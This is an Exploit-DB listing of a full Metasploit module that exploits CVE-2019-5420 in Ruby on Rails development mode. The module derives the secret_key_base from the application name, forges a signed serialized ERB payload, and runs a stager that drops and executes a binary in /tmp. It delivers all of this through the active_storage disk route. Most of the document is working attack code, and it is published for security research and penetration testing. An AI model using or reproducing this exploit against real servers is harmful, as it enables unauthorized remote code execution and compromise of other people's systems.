Ruby On Rails - DoubleTap Development Mode secret_key_base Remote Code Execution (Metasploit)

EDB-ID:

46785


Platform:

Linux

Published:

2019-05-02

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Auxiliary::Report

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Ruby On Rails DoubleTap Development Mode secret_key_base Vulnerability',
      'Description'    => %q{
        This module exploits a vulnerability in Ruby on Rails. In development mode, a Rails
        application would use its name as the secret_key_base, and can be easily extracted by
        visiting an invalid resource for a path. As a result, this allows a remote user to
        create and deliver a signed serialized payload, load it by the application, and gain
        remote code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'ooooooo_q', # Reported the vuln on hackerone
          'mpgn',      # Proof-of-Concept
          'sinn3r'     # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2019-5420' ],
          [ 'URL', 'https://hackerone.com/reports/473888' ],
          [ 'URL', 'https://github.com/mpgn/Rails-doubletap-RCE' ],
          [ 'URL', 'https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2019-5420/rubyonrails-security/IsQKvDqZdKw/UYgRCJz2CgAJ' ]
        ],
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'Ruby on Rails 5.2 and prior', { } ]
        ],
      'DefaultOptions' =>
        {
          'RPORT' => 3000
        },
      'Notes'          =>
        {
          'AKA'         => [ 'doubletap' ],
          'Stability'   => [ CRASH_SAFE  ],
          'SideEffects' => [ IOC_IN_LOGS ]
        },
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 13 2019',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The route for the Rails application', '/']),
      ])
  end

  NO_RAILS_ROOT_MSG = 'No Rails.root info'

  # These mocked classes are borrowed from Rails 5. I had to do this because Metasploit
  # still uses Rails 4, and we don't really know when we will be able to upgrade it.

  class Messages
    class Metadata
      def initialize(message, expires_at = nil, purpose = nil)
        @message, @expires_at, @purpose = message, expires_at, purpose
      end

      def as_json(options = {})
        { _rails: { message: @message, exp: @expires_at, pur: @purpose } }
      end

      def self.wrap(message, expires_at: nil, expires_in: nil, purpose: nil)
        if expires_at || expires_in || purpose
          ActiveSupport::JSON.encode new(encode(message), pick_expiry(expires_at, expires_in), purpose)
        else
          message
        end
      end

      private

      def self.pick_expiry(expires_at, expires_in)
        if expires_at
          expires_at.utc.iso8601(3)
        elsif expires_in
          Time.now.utc.advance(seconds: expires_in).iso8601(3)
        end
      end

      def self.encode(message)
        Rex::Text::encode_base64(message)
      end
    end
  end

  class MessageVerifier
    def initialize(secret, options = {})
      raise ArgumentError, 'Secret should not be nil.' unless secret
      @secret = secret
      @digest = options[:digest] || 'SHA1'
      @serializer = options[:serializer] || Marshal
    end

    def generate(value, expires_at: nil, expires_in: nil, purpose: nil)
      data = encode(Messages::Metadata.wrap(@serializer.dump(value), expires_at: expires_at, expires_in: expires_in, purpose: purpose))
      "#{data}--#{generate_digest(data)}"
    end

    private

    def generate_digest(data)
      require "openssl" unless defined?(OpenSSL)
      OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
    end

    def encode(message)
      Rex::Text::encode_base64(message)
    end
  end

  def check
    check_code = CheckCode::Safe
    app_name = get_application_name
    check_code = CheckCode::Appears unless app_name.blank?
    test_payload = %Q|puts 1|
    rails_payload = generate_rails_payload(app_name, test_payload)
    result = send_serialized_payload(rails_payload)
    check_code = CheckCode::Vulnerable if result
    check_code
  rescue Msf::Exploit::Failed => e
    vprint_error(e.message)
    return check_code if e.message.to_s.include? NO_RAILS_ROOT_MSG
    CheckCode::Unknown
  end

  # Returns information about Rails.root if we retrieve an invalid path under rails.
  def get_rails_root_info
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'rails', Rex::Text.rand_text_alphanumeric(32)),
    })

    fail_with(Failure::Unknown, 'No response from the server') unless res
    html = res.get_html_document
    rails_root_node = html.at('//code[contains(text(), "Rails.root:")]')
    fail_with(Failure::NotVulnerable, NO_RAILS_ROOT_MSG) unless rails_root_node
    root_info_value = rails_root_node.text.scan(/Rails.root: (.+)/).flatten.first
    report_note(host: rhost, type: 'rails.root_info', data: root_info_value, update: :unique_data)
    root_info_value
  end

  # Returns the application name based on Rails.root. It seems in development mode, the
  # application name is used as a secret_key_base to encrypt/decrypt data.
  def get_application_name
    root_info = get_rails_root_info
    root_info.split('/').last.capitalize
  end

  # Returns the stager code that writes the payload to disk so we can execute it.
  def get_stager_code
    b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin"
    bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin"
    register_file_for_cleanup(b64_fname, bin_fname)
    p = Rex::Text.encode_base64(generate_payload_exe)

    c  = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; "
    c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); "
    c << "%x(chmod +x #{bin_fname}); "
    c << "%x(#{bin_fname})"
    c
  end

  # Returns the serialized payload that is embedded with our malicious payload.
  def generate_rails_payload(app_name, ruby_payload)
    secret_key_base = Digest::MD5.hexdigest("#{app_name}::Application")
    keygen = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))
    secret = keygen.generate_key('ActiveStorage')
    verifier = MessageVerifier.new(secret)
    erb = ERB.allocate
    erb.instance_variable_set :@src, ruby_payload
    erb.instance_variable_set :@filename, "1"
    erb.instance_variable_set :@lineno, 1
    dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
    verifier.generate(dump_target, purpose: :blob_key)
  end

  # Sending the serialized payload
  # If the payload fails, the server should return 404. If successful, then 200.
  def send_serialized_payload(rails_payload)
    res = send_request_cgi({
      'method'  => 'GET',
      'uri'     => "/rails/active_storage/disk/#{rails_payload}/test",
    })

    if res && res.code != 200
      print_error("It doesn't look like the exploit worked. Server returned: #{res.code}.")
      print_error('The expected response should be HTTP 200.')

      # This indicates the server did not accept the payload
      return false
    end

    # This is used to indicate the server accepted the payload
    true
  end

  def exploit
    print_status("Attempting to retrieve the application name...")
    app_name = get_application_name
    print_status("The application name is: #{app_name}")

    stager = get_stager_code
    print_status("Stager ready: #{stager.length} bytes")

    rails_payload = generate_rails_payload(app_name, stager)
    print_status("Sending serialized payload to target (#{rails_payload.length} bytes)")
    send_serialized_payload(rails_payload)
  end
end